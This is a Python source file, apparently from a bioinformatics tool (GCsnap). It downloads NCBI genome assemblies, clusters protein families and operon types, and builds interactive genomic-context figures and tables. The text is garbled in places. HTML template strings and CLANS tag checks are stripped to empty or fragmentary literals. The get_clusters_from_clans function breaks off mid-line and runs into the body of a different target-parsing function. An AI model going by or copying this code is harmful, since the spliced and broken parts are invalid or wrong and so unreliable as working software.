hover_fill_color = 'white', hover_line_color = 'edgecolor', hover_fill_alpha = 0.5, \n\t\t\t selection_fill_color='facecolor', selection_line_color='edgecolor',\n\t\t\t nonselection_fill_color='facecolor', nonselection_line_color='edgecolor', nonselection_fill_alpha=0.2)\n\t\t\n\tp.yaxis.ticker = list(p_yyticklabels.keys())\n\tp.yaxis.major_label_overrides = {int(i): p_yyticklabels[i] for i in p_yyticklabels.keys()}\n\t\n\tp.xaxis.major_tick_line_color = None # turn off x-axis major ticks\n\tp.xaxis.minor_tick_line_color = None # turn off x-axis minor ticks\n\tp.yaxis.major_tick_line_color = None # turn off y-axis major ticks\n\tp.yaxis.minor_tick_line_color = None # turn off y-axis minor ticks\n\tp.xaxis.major_label_text_color = None # turn off x-axis tick labels leaving space\n\tp.yaxis.axis_line_width = 0\n\tp.xaxis.axis_line_width = 0\n\t# define general features\n\tp.grid.visible = False\n\tp.outline_line_width = 0\n\n\tp.add_tools(HoverTool(tooltips=p_tooltips))\n\tp.add_tools(TapTool(callback = OpenURL(url='@model_links')))\n\n\treturn p\n\ndef create_family_table_data(operons, families_summary):\n\t\t\n\tdata = {'Family': [],\n\t\t\t'Name': [],\n\t\t\t'UniprotKB': [],\n\t\t\t'Frequency': [],\n\t\t\t'Keywords': [],\n\t\t\t'GO terms: Molecular function (F)': [],\n\t\t\t'GO terms: Cellular component (C)': [],\n\t\t\t'GO terms: Biological process (P)': [],\n\t\t\t'Function': [],\n\t\t\t'Predicted membrane protein': [],\n\t\t\t'Structure': []}\n\t\n\tfamilies_frequencies, number_of_operons = compute_families_frequencies(operons)\n\t\n\tfor family in families_frequencies: \n\t\tif family > 0 and family < 10000:\n\t\t\tdata['Family'].append(family)\n\t\t\tdata['Frequency'].append(round(families_frequencies[family]*100/number_of_operons, 1))\n\t\t\tdata['Name'].append(families_summary[family]['name'])\n\t\t\tuniprot_code = 'nan'\n\t\t\t\n\t\t\tif 'function' in families_summary[family]:\n\t\t\t\tuniprot_code = families_summary[family]['uniprot_code']\n\t\t\t\tif 'TM_topology' in families_summary[family]['function']:\n\t\t\t\t\ttm_type = families_summary[family]['function'][\"TM_topology\"]\n\t\t\t\t\tkeywords = ', '.join(sorted(families_summary[family]['function']['Keywords']))\n\t\t\t\t\tgo_terms = sorted(families_summary[family]['function']['GO_terms'])\n\t\t\t\t\tfunction = families_summary[family]['function']['Function_description']\n\n\t\t\t\t\tif len(tm_type) > 0:\n\t\t\t\t\t\ttm_mode = 'Yes'\n\t\t\t\t\telse:\n\t\t\t\t\t\ttm_mode = 'No'\n\t\t\t\t\t\t\n\t\t\t\t\tf_go = '; '.join([go for go in go_terms if go.startswith('F:')])\n\t\t\t\t\tc_go = '; '.join([go for go in go_terms if go.startswith('C:')])\n\t\t\t\t\tp_go = '; '.join([go for go in go_terms if go.startswith('P:')])\n\t\t\t\n\t\t\t\telse:\n\t\t\t\t\ttm_mode = ''\n\t\t\t\t\tkeywords = ''\n\t\t\t\t\tf_go = '' \n\t\t\t\t\tc_go = '' \n\t\t\t\t\tp_go = '' \n\t\t\t\t\tfunction = ''\n\t\t\telse:\n\t\t\t\ttm_mode = 'n.a.'\n\t\t\t\tkeywords = 'n.a.'\n\t\t\t\tf_go = 'n.a.' \n\t\t\t\tc_go = 'n.a.' \n\t\t\t\tp_go = 'n.a.' \n\t\t\t\tfunction = 'n.a.'\n\t\t\t\n\t\t\tif 'structure' in families_summary[family]:\n\t\t\t\tstructure = families_summary[family]['structure']\n\t\t\t\tif structure == '':\n\t\t\t\t\tstructure = 'Click to model'\n\t\t\telse:\n\t\t\t\tstructure = 'n.a.'\n\t\t\t\n\t\t\tdata['UniprotKB'].append(uniprot_code)\n\t\t\tdata['Keywords'].append(keywords)\n\t\t\tdata['GO terms: Molecular function (F)'].append(f_go)\n\t\t\tdata['GO terms: Cellular component (C)'].append(c_go)\n\t\t\tdata['GO terms: Biological process (P)'].append(p_go)\n\t\t\tdata['Function'].append(function)\n\t\t\tdata['Predicted membrane protein'].append(tm_mode)\n\t\t\tdata['Structure'].append(structure)\n\t\n\tcolumns = [TableColumn(field=i, title=i) if i not in ['Structure', 'UniprotKB']\n\t\t else TableColumn(field=i, title=i, formatter=HTMLTemplateFormatter(template='\"><%= value %>')) if i=='Structure'\n\t\t else TableColumn(field=i, title='Representative UniprotKB', formatter=HTMLTemplateFormatter(template='\"><%= value %>')) \n\t\t for i in data.keys()]\n\t\n\tdata = pd.DataFrame(data).sort_values(by='Frequency', ascending=False)\n\t\n\treturn data, columns\n\ndef create_families_frequency_table(operons, families_summary):\n\t\n\tt_data, t_columns = create_family_table_data(operons, families_summary)\n\t\n\tt = DataTable(source=ColumnDataSource(t_data), columns=t_columns, width=2250, height=300)\n\t\n\tdiv = Div(text=\"\"\"Represented families:\"\"\") \n\t\n\treturn t, div\n\n\n# 10. Routines to deal with Clans maps as input source of IDs\n\ndef get_ncbicodes_order_in_clans(clans_file):\n \n ncbids_ordered = []\n\n count = 0\n found_seq = False\n with open(clans_file, 'r') as clans:\n\t for line in clans:\n\t\t if '' in line:\n\t\t\t found_seq = True\n\t\t elif '' in line:\n\t\t\t found_seq = False\n\t\t elif found_seq and line.startswith('>'):\n\t\t\t line = line[1:]\n\t\t\t ncbi_code = line.split(' ')[0].split(':')[0].split('|')[0].split('_#')[0].replace('>','').strip()\n\t\t\t ncbids_ordered.append(ncbi_code)\n\t\t\t \n return ncbids_ordered\n\ndef get_clusters_from_clans(clans_file, cluster_codes = None):\n\n\tncbis_ordered = get_ncbicodes_order_in_clans(clans_file)\n\n\tclusters = {}\n\t\n\tif cluster_codes != None:\n\t\tfound_seqgroup = False\n\t\twith open(clans_file, 'r') as in_clans:\n\t\t\tfor line in in_clans:\n\t\t\t\tfor cluster_code in cluster_codes:\n\t\t\t\t\tif ''):\n\t\t\t\t\t\t\tis_fasta = True\n\t\t\t\t\t\t\tcurr_target = line.split(' ')[0].split(':')[0].split('|')[0].split('_#')[0].replace('>','').strip()\n\n\t\t\t\t\t\telif not is_fasta:\n\t\t\t\t\t\t\tcurr_target = line.strip().split()[0]\n\n\t\t\t\t\t\tif curr_target not in targets_list[curr_label]:\n\t\t\t\t\t\t\ttargets_list[curr_label].append(curr_target)\n\n\t\telse:\n\t\t\tif label not in targets_list:\n\t\t\t\ttargets_list[label] = []\n\t\t\n\t\t\ttargets_list[label].append(target)\n\n\tprint(' ... Found {} jobs to do: {}'.format(len(targets_list), list(targets_list.keys())))\n\t\n\treturn targets_list\n\ndef download_and_parse_refseq_and_gb_databases(databases = ['genbank', 'refseq']):\n\t\n\tdatabase_assembly_mapping = {}\n\n\tfor db in databases:\n\t\tprint(' ... Taking care of {} summary table'.format(db))\n\n\t\tsummary_table = '{}/assembly_summary_{}.txt'.format(os.getcwd(), db)\n\n\t\tif not os.path.isfile(summary_table):\n\t\t\tlink = 'ftp://ftp.ncbi.nlm.nih.gov/genomes/{}/assembly_summary_{}.txt'.format(db, db)\n\n\t\t\tprint(' ... ... Downloading')\n\t\t\tdownload_db_table = sp.Popen(['wget', link], stdout=sp.PIPE, stderr=sp.PIPE, stdin=sp.PIPE)\n\t\t\tstdout, stderr = download_db_table.communicate()\n\t\t\tprint(' ... ... Done Downloading')\n\n\t\telse:\n\t\t\tprint(' ... ... Summary table already exists (version from: {})'.format(time.ctime(os.path.getmtime(summary_table))))\n\t\t\n\t\twith open(summary_table, 'r') as summary:\n\t\t\tprint(' ... ... Parsing summary table')\n\t\t\tfor line in summary:\n\t\t\t\tif not line.startswith('#'):\n\t\t\t\t\tdata = line.strip().split('\\t')\n\t\t\t\t\tdatabase_assembly_mapping[data[0]] = data[19]\n\t\tprint(' ... ... Done parsing')\n\t\t\n\treturn database_assembly_mapping\n\ndef get_genomic_context_information_for_ncbi_codes(target_ncbi_codes, refseq_gb_assembly_map = None, n_flanking5 = None, n_flanking3 = None, exclude_partial = None, tmp_folder = None, threads = None):\n\n\t# Prepare all parallel jobs\n\tseparated_jobs = chunk_list(target_ncbi_codes, threads)\n\n\tlist_arguments = [i for i in zip(separated_jobs, [refseq_gb_assembly_map for job in separated_jobs], [n_flanking5 for job in separated_jobs], [n_flanking3 for job in separated_jobs], [exclude_partial for job in separated_jobs], [tmp_folder for job in separated_jobs], range(threads))]\n\n\tpool = ThreadPool(threads)\n\tresults = pool.imap_unordered(get_genomic_contexts_for_ncbi_codes, list_arguments)\n\n\tall_syntenies = {key: dic[key] for dic in results for key in dic.keys()}\n\t\n\treturn all_syntenies \n\ndef get_genomic_contexts_for_ncbi_codes(arguments):\n\n\ttarget_ncbi_codes = arguments[0]\n\trefseq_gb_assembly_map = arguments[1]\n\tn_flanking5 = arguments[2]\n\tn_flanking3 = arguments[3]\n\texclude_partial = arguments[4]\n\ttmp_folder = arguments[5]\n\tthread_id = arguments[6]\n\n\tout_json = '{}_genomic_context_information.json'.format(thread_id)\n\tif os.path.isfile(out_json):\n\t\twith open(out_json, 'r') as fp:\t # allows to restart the searches without having to get all the info again in case it crashes\n\t\t\tall_syntenies = json.load(fp)\n\t\t\tstarting_i = target_ncbi_codes.index(list(all_syntenies.keys())[-1])+1\n\t\t\tprint(' ... Thread {}: A partial search was already performed for {} entrezIDs (from which, {} were valid). Will continue it.\\n'.format(thread_id, starting_i+1, len(all_syntenies)))\n\telse:\n\t\tall_syntenies = {}\n\t\tstarting_i = 0\n\n\tfor i in range(starting_i, len(target_ncbi_codes)):\n\t\tcurr_target_code = target_ncbi_codes[i].strip()\n\t\tcurr_target_count = i+1\n\t\t\n\t\tncbi_code, assembly_id, assembly_link = find_ncbi_code_assembly(curr_target_code, refseq_gb_assembly_map)\n\n\t\tif assembly_id != 'nan':\n\t\t\tprint(\" ... {} belongs to assembly {} ({}/{})\".format(curr_target_code, assembly_id, curr_target_count, len(target_ncbi_codes)))\n\t\t\tassembly = download_and_extract_assembly(assembly_id, assembly_link, tmp_folder = tmp_folder, label = curr_target_code, get_chunk = True, chunk_size = ((n_flanking5+n_flanking3)*2)+1, target = ncbi_code)\n\n\t\t\tif assembly != 'nan':\n\t\t\t\tflanking_genes = get_n_flanking_genes(ncbi_code, assembly, n_5 = n_flanking5, n_3 = n_flanking3, exclude_partial = exclude_partial)\n\t\t\t\tif flanking_genes != 'nan':\n\t\t\t\t\tflanking_genes = add_sequences_to_flanking_genes(flanking_genes, ncbi_code)\t\n\n\t\t\t\t\tprint(' ... ... Species: {}'.format(flanking_genes['species'])) \n\n\t\t\t\t\tif curr_target_code not in all_syntenies:\n\t\t\t\t\t\tall_syntenies[curr_target_code] = {}\n\t\t\t\t\t\n\t\t\t\t\tall_syntenies[curr_target_code]['flanking_genes'] = flanking_genes\n\t\t\t\t\tall_syntenies[curr_target_code]['assembly_id'] = [ncbi_code, assembly_id, assembly_link]\n\t\t\t\t\tall_syntenies[curr_target_code]['species'] = all_syntenies[curr_target_code]['flanking_genes']['species']\n\t\telse:\n\t\t print(\"\\n ... > There is no assembly for {} ({}/{})\\n\".format(curr_target_code, curr_target_count, len(target_ncbi_codes)))\n \n\t\twith open(out_json, 'w') as fp:\n\t\t json.dump(all_syntenies, fp, indent=4)\n\n\n\treturn all_syntenies \n\ndef find_and_add_protein_families(in_syntenies, out_label = None, num_threads = None, num_alignments = None, max_evalue = None, num_iterations = None, blast = None, mmseqs = None, min_coverage = None, default_base = None, tmp_folder = None, method = None):\n\n\tif os.path.isfile('all_syntenies.json') and os.path.isfile('protein_families_summary.json'):\n\n\t\tin_syntenies = json.load(open('all_syntenies.json', 'r'))\n\t\tprotein_families = json.load(open('protein_families_summary.json','r'))\n\t\tprotein_families = {int(family): protein_families[family] for family in protein_families}\n\n\t\tprint(' ... A job was previously run. Found {} families.'.format(len(protein_families)))\n\n\telse:\n\t\tprint(' ... Doing all against all searches with {}'.format(method))\n\n\t\tdistance_matrix, ordered_ncbi_codes = compute_all_agains_all_distance_matrix(in_syntenies, out_label = out_label, num_threads = num_threads, num_alignments = num_alignments, max_evalue = max_evalue, num_iterations = num_iterations, min_coverage = min_coverage, method = method, mmseqs = mmseqs, blast = blast, default_base = default_base, tmp_folder = tmp_folder)\t\n\t\tprotein_clusters = find_clusters_in_distance_matrix(distance_matrix)\n\t\tprotein_clusters = mask_singleton_clusters(protein_clusters)\n\n\t\tprint(' ... Assigning families')\n\t\t# define the correct numbering of the families so that the reference family is the largest, pseudogenes are > 10000 and all the others\n\t\t# are continuous\n\t\tcurr_numbers = []\n\t\tfor target in in_syntenies:\n\t\t\tin_syntenies[target]['flanking_genes']['families'] = []\n\t\t\tfor i, ncbi_code in enumerate(in_syntenies[target]['flanking_genes']['ncbi_codes']):\n\t\t\t\tprotein_name = in_syntenies[target]['flanking_genes']['names'][i]\n\t\t\t\ttry:\n\t\t\t\t\tprotein_family = protein_clusters[ordered_ncbi_codes.index(ncbi_code)]\n\t\t\t\texcept:\n\t\t\t\t\tprotein_family = 10000\n\t\t\t\t\n\t\t\t\tif protein_name == 'pseudogene':\n\t\t\t\t\tprotein_family = 10000\n\t\t\t\tif ncbi_code == target:\n\t\t\t\t\tprotein_family = max(protein_clusters)+1\n\n\t\t\t\tin_syntenies[target]['flanking_genes']['families'].append(protein_family)\n\t\t\t\tcurr_numbers.append(protein_family)\n\n\t\t\t\tif ncbi_code == in_syntenies[target]['assembly_id'][0]:\n\t\t\t\t in_syntenies[target]['target_family'] = protein_family\n\n\t\tcurr_numbers = sorted(list(set(curr_numbers)))\n\t\tfor target in in_syntenies:\n\t\t\tfor i, ncbi_code in enumerate(in_syntenies[target]['flanking_genes']['ncbi_codes']):\n\t\t\t\tprotein_name = in_syntenies[target]['flanking_genes']['names'][i]\n\t\t\t\tprotein_family = in_syntenies[target]['flanking_genes']['families'][i]\n\n\t\t\t\tif protein_family <= max(protein_clusters):\n\t\t\t\t\tif protein_family != range(min(protein_clusters), max(protein_clusters)+1)[curr_numbers.index(protein_family)]:\n\t\t\t\t\t\tprotein_family = range(min(protein_clusters), max(protein_clusters)+1)[curr_numbers.index(protein_family)]\n\t\t\t\t\t\tin_syntenies[target]['flanking_genes']['families'][i] = protein_family\n\n\t\t\tin_syntenies[target]['target_family'] = in_syntenies[target]['flanking_genes']['families'][in_syntenies[target]['flanking_genes']['ncbi_codes'].index(in_syntenies[target]['assembly_id'][0])]\n\n\t\tprotein_families = get_protein_families_summary(in_syntenies, write_to_file = True, out_label = out_label)\n\t\n\treturn in_syntenies, protein_families\n\ndef update_families_with_functions_and_structures(protein_families_summary, get_pdb = None, get_functional_annotations = None, threads = 1):\n\n\t# Prepare all parallel jobs\n\tseparated_jobs = chunk_list(sorted(list(protein_families_summary.keys())), threads)\n\n\tlist_arguments = [i for i in zip(separated_jobs, [protein_families_summary for job in separated_jobs], [get_pdb for job in separated_jobs], [get_functional_annotations for job in separated_jobs], range(threads))]\n\n\tpool = ThreadPool(threads)\n\tresults = pool.imap_unordered(add_functions_and_structures_to_families, list_arguments)\n\n\tprotein_families_summary = {key: dic[key] for dic in results for key in dic.keys()}\n\n\tjson.dump(protein_families_summary, open('protein_families_summary.json', 'w'), indent = 4)\n\n\treturn protein_families_summary\n\ndef add_functions_and_structures_to_families(arguments):\n\n\ttargets = arguments[0]\n\tprotein_families_summary = arguments[1]\n\tget_pdb = arguments[2]\n\tget_functional_annotations = arguments[3]\n\tjob_id = arguments[4]\n\n\tprotein_families_summary = {key.item(): protein_families_summary[key.item()] for key in targets}\n\n\tall_members = [i for family in protein_families_summary for i in protein_families_summary[family]['members'] if family > 0 and family < 10000]\n\n\tprint(' ... Thread {}: Mapping {} members'.format(job_id, len(all_members)))\n\tfamily_uniprot_codes = map_codes_to_uniprot(all_members)\n\n\tfor family in sorted(list(protein_families_summary.keys())):\n\t\tif 'function' not in protein_families_summary[family]:\n\t\t\tif family > 0 and family < 10000:\n\n\t\t\t\tprint(' ... Thread {}: Family {} ({} members)'.format(job_id, family, len(protein_families_summary[family]['members'])))\n\n\t\t\t\tfamily_function = ''\n\t\t\t\tfamily_structure = ''\n\t\t\t\tfamily_uniprot_code = ''\n\t\t\t\tfamily_model_state = 'Model does not exist'\n\n\t\t\t\tfor target in sorted(protein_families_summary[family]['members']):\n\t\t\t\t\tuniprot_code = family_uniprot_codes[target]\n\n\t\t\t\t\tif family_uniprot_code == '' or family_structure == '' or (family_function == '' or family_function['Function_description'] == ''):\n\n\t\t\t\t\t\tif get_pdb and family_structure == '':\n\t\t\t\t\t\t\tcurr_pdb = find_uniprot_in_swiss_model_repository(uniprot_code)\n\t\t\t\t\t\t\tif 'nan' in curr_pdb:\n\t\t\t\t\t\t\t\tcurr_pdb = find_uniprot_in_alphafold_database(uniprot_code)\n\n\t\t\t\t\t\t\tif 'nan' not in curr_pdb:\n\t\t\t\t\t\t\t\tfamily_structure = curr_pdb\n\t\t\t\t\t\t\t\tfamily_uniprot_code = uniprot_code\n\t\t\t\t\t\t\t\tfamily_model_state = 'Model exists'\n\n\t\t\t\t\t\t\telif uniprot_code != 'nan' and curr_pdb != 'nan*':\n\t\t\t\t\t\t\t\tfamily_uniprot_code = uniprot_code\n\n\t\t\t\t\t\tif get_functional_annotations and (family_function == '' or family_function['Function_description'] == ''):\n\t\t\t\t\t\t\tcurr_uniprot_annotations = get_uniprot_annotations(uniprot_code, previous_annotations = family_function)\n\n\t\t\t\t\t\t\tif curr_uniprot_annotations != 'nan':\n\t\t\t\t\t\t\t\tfamily_function = curr_uniprot_annotations\n\n\t\t\t\t\t\t\tif uniprot_code != 'nan' and family_structure == '' and family_uniprot_code == '':\n\t\t\t\t\t\t\t\tfamily_uniprot_code = uniprot_code\n\n\t\t\t\tif family_uniprot_code == '':\n\t\t\t\t\tfamily_model_state = 'Not possible to map'\n\n\t\t\telse:\n\t\t\t\tfamily_function = 'n.a.'\n\t\t\t\tfamily_structure = 'n.a.'\n\t\t\t\tfamily_uniprot_code = 'n.a.'\n\t\t\t\tfamily_model_state = 'n.a.'\n\n\t\t\tprotein_families_summary[family]['function'] = family_function\n\t\t\tprotein_families_summary[family]['structure'] = family_structure\n\t\t\tprotein_families_summary[family]['uniprot_code'] = family_uniprot_code\n\t\t\tprotein_families_summary[family]['model_state'] = family_model_state\n\n\t\t\tjson.dump(protein_families_summary, open('{}_protein_families_summary.json'.format(job_id), 'w'), indent = 4)\n\n\treturn protein_families_summary\n\ndef find_and_add_operon_types(in_syntenies, protein_families_summary, label = None, advanced = False, min_family_freq = None, max_family_freq = None):\n\n\tprint(' ... Using mode Advanced?', advanced)\n\n\tif len(in_syntenies) > 1:\n\t\tif advanced:\n\t\t\t# get the clusters by excluding the most common families\n\t\t\tclean_coordinates, operon_clusters, ordered_ncbi_codes = find_operon_clusters_with_PaCMAP(in_syntenies, protein_families_summary, clean = True, min_freq = min_family_freq, max_freq = max_family_freq)\n\t\t\t# and now all PacMap coordinates by assuming all families. This will be later used for sorting the dendogram\n\t\t\tall_coordinates, ordered_ncbi_codes = find_operon_clusters_with_PaCMAP(in_syntenies, protein_families_summary, clean = False, coordinates_only = True)\n\t\telse:\n\t\t\tdistance_matrix, ordered_ncbi_codes = compute_operons_distance_matrix(in_syntenies, label = label)\n\t\t\toperon_clusters = find_clusters_in_distance_matrix(distance_matrix, t = 0.2)\n\t\t\tcoordinates = [[np.nan, np.nan] for i in operon_clusters]\n\telse:\n\t\toperon_clusters = [1]\n\t\tordered_ncbi_codes = list(in_syntenies.keys())\n\t\tcoordinates = [[np.nan, np.nan] for i in operon_clusters]\n\t\n\tfor i, target in enumerate(ordered_ncbi_codes):\n\t\tin_syntenies[target]['operon_type'] = int(operon_clusters[i])\n\n\t\tif advanced:\n\t\t\tin_syntenies[target]['operon_filtered_PaCMAP'] = list([float(a) for a in clean_coordinates[i]])\n\t\t\tin_syntenies[target]['operon_PaCMAP'] = list([float(a) for a in all_coordinates[i]])\n\n\toperon_types = get_operon_types_summary(in_syntenies, write_to_file = True, label = label)\n\t\n\treturn in_syntenies, operon_types\n\ndef annotate_TMs_in_all(in_syntenies, annotation_TM_mode, annotation_TM_file, label = None):\n\n\tout_dir = '{}/{}_TM_annotations'.format(os.getcwd(), label)\n\tif not os.path.isdir(out_dir):\n\t\tos.mkdir(out_dir)\n\n\tin_fasta, seqs_lens = write_flanking_sequences_to_fasta(in_syntenies, out_dir, label, exclude_pseudogenes = True)\n\n\tif annotation_TM_file == None:\n\t\tannotation_TM_file = run_TM_signal_peptide_annotation(in_fasta, annotation_TM_mode = annotation_TM_mode)\n\telse:\n\t\tannotation_TM_file = '{}/{}'.format(out_dir, annotation_TM_file.split('/')[-1])\n\t\n\tif os.path.isfile(annotation_TM_file):\n\t\tprotein_annotations = parse_annotation_TM_file(annotation_TM_file, annotation_TM_mode)\n\t\tin_syntenies = add_TM_annotations_to_flanking_genes(in_syntenies, protein_annotations)\n\telse:\n\t\tprint(' ... WARNING: It was not possible to annotate TM and signal peptides to collected protein sequences.\\n')\n\t\tprint('\t What to do now? There are 2 options:')\n\t\tprint('\t (1) Check if {} is in your path'.format(annotation_TM_mode))\n\t\tprint('\t (2) Use {} as input over the {} webserver (follow instructions bellow) and run GCsnap again using the flag -annotation_TM_file and the results as input in a txt file'.format(in_fasta, annotation_TM_mode))\n\n\t\tif annotation_TM_mode == 'phobius':\n\t\t\tprint('\t\t Phobius webserver: http://phobius.sbc.su.se/')\n\t\t\tprint('\t\t Run mode: \"short\"')\n\t\t\tprint('\t\t Output file: copy-paste output text below the line to a .txt file')\n\t\t\tprint('\t\t Save in folder: {}'.format(out_dir))\n\n\t\telif annotation_TM_mode == 'tmhmm':\n\t\t\tprint('\t\t TMHMM webserver: https://services.healthtech.dtu.dk/service.php?TMHMM-2.0')\n\t\t\tprint('\t\t Run mode: \"One line per protein\"')\n\t\t\tprint('\t\t Output file: copy-paste output text below the line to a .txt file')\n\t\t\tprint('\t\t Save in folder: {}'.format(out_dir))\n\treturn in_syntenies\n\ndef make_genomic_context_figure(operons, most_populated_operon, all_syntenies, families_summary, cmap = None, label = None, out_format = None):\n\n\t# define the reference family as the one of the target in the most populated operon type\n\treference_family = all_syntenies[operons[most_populated_operon]['target_members'][0]]['target_family']\n\tfamily_colors = define_family_colors(list(families_summary.keys()), reference_family, mode = 'matplotlib', cmap = cmap)\n\n\tdraw_genomic_context(operons, all_syntenies, family_colors, reference_family, label = label, out_format = out_format)\n\tdraw_genomic_context_legend(families_summary, family_colors, reference_family, label = label, out_format = out_format)\n\ndef make_interactive_genomic_context_figure(operons, all_syntenies, families_summary, taxonomy, most_populated_operon, tree = None, sort_mode = None, input_targets = None, gc_legend_mode = None, cmap = None, label = None, min_coocc = None, n_flanking5=None, n_flanking3=None, tree_format=None):\n\n\t# define the reference family as the one of the target in the most populated operon type\n\treference_family = all_syntenies[operons[most_populated_operon]['target_members'][0]]['target_family']\n\tfamily_colors = define_family_colors(list(families_summary.keys()), reference_family, mode = 'bokeh', cmap = cmap)\n\n\t# output to static HTML file\n\toutput_file(\"{}/{}_interactive_output.html\".format(os.getcwd(), label))\n\n\t# Work on most conserved genomic context figure\n\tmost_common_gc_figure = create_most_common_genomic_features_figure(operons, all_syntenies, families_summary, reference_family = reference_family, family_colors = family_colors, n_flanking5=n_flanking5, n_flanking3=n_flanking3)\n\n\t# Work on gene co-occurence figure\n\tcoocurrence_figure, graph_coord = create_graph_figure(operons, reference_family, families_summary, family_colors, most_common_gc_figure, min_coocc = min_coocc, mode = 'coocurrence')\n\tadjacency_figure, graph_coord = create_graph_figure(operons, reference_family, families_summary, family_colors, most_common_gc_figure, min_coocc = min_coocc, mode = 'adjacency', graph_coord = graph_coord, previous_net = coocurrence_figure)\n\n\t# Work on dendogram for the genomic context block\n\tif tree != None:\n\t\tinput_targets = [target for operon in operons for target in operons[operon]['target_members']]\n\tsyn_dendogram, syn_den_data = make_dendogram_figure(taxonomy, operons, tree = tree, mode = sort_mode, input_targets = input_targets, show_leafs = False, height_factor = 25*1.2, tree_format = tree_format)\n\n\t# Work on the genomic context block\n\tgenomic_context_figure = create_genomic_context_figure(operons, all_syntenies, family_colors, syn_den_data, syn_dendogram, most_common_gc_figure, reference_family, legend_mode = gc_legend_mode, height_factor = 25*1.2)\n\n\t# Work on the legend figure\n\tlegend_figure = create_legend_figure(operons, families_summary, reference_family, family_colors, genomic_context_figure)\n\n\t# Make the tabs for the network and most common genomic context\n\ttab1 = Panel(child=coocurrence_figure, title='Gene co-occurrence network')\n\ttab2 = Panel(child=adjacency_figure, title='Gene adjacency network')\n\ttab3 = Panel(child=most_common_gc_figure, title='Most common genomic features')\n\ttabs = Tabs(tabs=[tab1, tab2, tab3])\n\n\t# Make a grid out of them\n\tgrid = gridplot([[None, tabs, None], \n\t\t\t\t\t [syn_dendogram, genomic_context_figure, legend_figure]], merge_tools = True)\n\n\tsave(grid)\n\ndef make_advanced_interactive_genomic_context_figures(operons, all_syntenies, families_summary, taxonomy, most_populated_operon, tree = None, sort_mode = None, input_targets = None, gc_legend_mode = None, cmap = None, label = None, min_coocc = None, n_flanking5=None, n_flanking3=None, tree_format=None, max_family_freq=None, min_family_freq=None, min_family_freq_accross_contexts=None, clans_file=None, out_label = None, num_threads = None, num_alignments = None, max_evalue = None, num_iterations = None, min_coverage = None, method = None, mmseqs = None, blast = None, default_base = None, tmp_folder = None):\n\n\t# define the reference family as the one of the target in the most populated operon type\n\treference_family = all_syntenies[operons[most_populated_operon]['target_members'][0]]['target_family']\n\tfamily_colors = define_family_colors(list(families_summary.keys()), reference_family, mode = 'bokeh', cmap = cmap)\n\n\t# make first the summary page\n\n\tprint(' ... Making summary page\\n')\n\n\t# Create the dataframe with all data used to plot. it allows for cross interativity between plots\n\tclusters_colors = define_operons_colors(operons.keys(), mode = 'bokeh', cmap='gist_rainbow')\n\tscatter_data = create_data_structure(operons, clans_file, clusters_colors=clusters_colors, all_syntenies=all_syntenies, out_label = out_label, num_threads = num_threads, num_alignments = num_alignments, max_evalue = max_evalue, num_iterations = num_iterations, min_coverage = min_coverage, method = method, mmseqs = mmseqs, blast = blast, default_base = default_base, tmp_folder = tmp_folder)\n\n\t# Plot the scatter of the operons PaCMAP coordinates\n\toperons_scatter = create_operons_clusters_scatter(scatter_data)\n\t# Create network of operon types similarities (based on the centroids in PaCMAP space and the minimum distance between cluster members)\n\toperons_network, operons_distance_matrix = create_avg_operons_clusters_network(operons, operons_scatter, scatter_data, max_family_freq, min_family_freq)\n\n\t# Plot the CLANS map of the input target sequences if given\n\tclans_scatter = create_clans_map_scatter(scatter_data)\n\tscatter_row = gridplot([[operons_scatter, operons_network, clans_scatter]], merge_tools = True)\n\n\t# Now create two tabs\n\tall_tabs = []\n\n\t# 1. The tab of species (i.e. a table where each line corresponds to an input target and includes the taxonomy information as well as the cluster type it belongs to)\n\ttargets_table = create_targets_summary_table(all_syntenies, taxonomy, clusters_colors)\n\tall_tabs.append(Panel(child = targets_table, title = 'Input targets summary'))\n\n\t# 2. The tab the shows the gene composition of each cluster type, sorted by similarity and connected by a cladogram build from the \n\t# distance matrix used to build the network above\n\n\t# Make the dendogram\n\toprn_dendogram, oprn_den_data = make_dendogram_figure(False, operons, show_leafs = False, height_factor = 25*1.2, mode = 'operon clusters', distance_matrix=(1-operons_distance_matrix), labels=sorted([i for i in operons if '-' not in i]), colors=clusters_colors)\n\tfamily_freq_figure = create_family_frequency_per_operon_figure(operons, families_summary, family_colors, oprn_dendogram, oprn_den_data, reference_family, height_factor = 25*1.2, min_freq = min_family_freq_accross_contexts/100)\n\tgc_row = gridplot([[oprn_dendogram, family_freq_figure]], merge_tools = True)\n\tall_tabs.append(Panel(child = gc_row, title = 'Genomic contexts clusters hierarchy'))\n\n\tall_tabs = Tabs(tabs=all_tabs)\n\tgrid = gridplot([[scatter_row],[all_tabs]], merge_tools = False)\n\n\t# output to static HTML file\n\toutput_file(\"{}/{}_advanced_operons_output_summary.html\".format(os.getcwd(), label))\n\tsave(grid)\n\n\n\t# Now, per operon type, plot each individual summary page\n\n\tprint(' ... Making per operon type page')\n\n\tfor operon_type in sorted(operons.keys()):\n\t\tcurr_operon = {operon_type: operons[operon_type]}\n\n\t\tprint(' ... ... {}'.format(operon_type))\n\t\t\n\t\tif len(curr_operon[operon_type]['target_members']) > 1:\n\t\t\t\n\t\t\tall_tabs = []\n\n\t\t\tdiv = Div(text=\"\"\"Detailed view of individual genomic context types:

\n\t\t\t\t\t Below you find multiple tabs coresponding to each individual\n\t\t\t\t\t cluster you see on the scatter plot above.
\n\t\t\t\t\t Click on the tab to have a detailed view of the different genomic\n\t\t\t\t\t context clusters, clustered based on the similarity of their family \n\t\t\t\t\t composition.

\n\t\t\t\t\t The depiction is interactive, hover and click to get more information!

\"\"\") \n\n\t\t\t# Work on most conserved genomic context figure\n\t\t\tmost_common_gc_figure = create_most_common_genomic_features_figure(curr_operon, all_syntenies, families_summary, reference_family = reference_family, family_colors = family_colors, n_flanking5=n_flanking5, n_flanking3=n_flanking3)\n\n\t\t\t# Make the dendogram\n\t\t\tif tree != None:\n\t\t\t\tinput_targets = [target for operon in operons for target in curr_operon[operon]['target_members']]\n\t\t\tsyn_dendogram, syn_den_data = make_dendogram_figure(taxonomy, curr_operon, mode = sort_mode, input_targets = input_targets, show_leafs = False, height_factor = 25*1.2, tree_format = tree_format)\n\n\t\t\t# Work on the genomic context block\n\t\t\tgenomic_context_figure = create_genomic_context_figure(curr_operon, all_syntenies, family_colors, syn_den_data, syn_dendogram, most_common_gc_figure, reference_family, legend_mode = 'species', height_factor = 25*1.2)\n\t\t\t\n\t\t\t# Make the table of family frequencies\n\t\t\tfamily_table, table_div = create_families_frequency_table(curr_operon, families_summary)\n\n\t\t\tgc_row = row(syn_dendogram, genomic_context_figure)\n\n\t\t\tgrid = 